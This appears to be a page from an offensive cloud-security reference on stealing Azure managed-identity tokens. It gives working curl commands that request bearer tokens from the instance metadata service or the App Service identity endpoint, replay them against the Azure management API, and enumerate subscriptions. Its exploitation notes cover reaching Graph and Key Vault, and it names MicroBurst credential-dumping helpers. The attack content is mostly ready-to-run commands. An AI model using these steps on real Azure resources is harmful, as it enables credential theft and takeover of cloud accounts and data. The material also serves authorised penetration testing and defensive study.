A VM, Function, App Service, or container with a managed identity can ask IMDS for a bearer token for that identity. With code execution on the resource you make the same request and walk away with the token, then replay it against the Azure management API or Microsoft Graph as the identity.
Requesting the token#
# resource = the audience you want a token for
curl -s -H 'Metadata: true' \
'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'
# other audiences: https://graph.microsoft.com/ , https://vault.azure.net , https://storage.azure.com/
On App Service / Functions there is no IMDS; the identity endpoint is injected as environment variables instead:
curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01"
Replaying it#
TOKEN=$(curl -s -H 'Metadata: true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' | jq -r .access_token)
# enumerate what the identity can reach
curl -s -H "Authorization: Bearer $TOKEN" 'https://management.azure.com/subscriptions?api-version=2020-01-01'
# or feed it to az
az account get-access-token >/dev/null 2>&1 # separate; or use the raw token with az rest --headers
Exploitation notes#
- A token is per-audience: mint one for
management.azure.comto drive ARM, a second forgraph.microsoft.comfor directory reads, a third forvault.azure.netto read Key Vault. - User-assigned identities need the
client_idormi_res_idparameter when a resource carries more than one; without it IMDS errors or returns the system-assigned one. - The token typically lasts about an hour and cannot be refreshed from IMDS, so re-request it rather than storing it.
- What the identity can do is an RBAC question; the token is only the key.
Tools#
- curl against the endpoint.
- MicroBurst (
Get-AzPasswords,Invoke-AzVMUserDataAgent-style helpers) and az rest to replay tokens.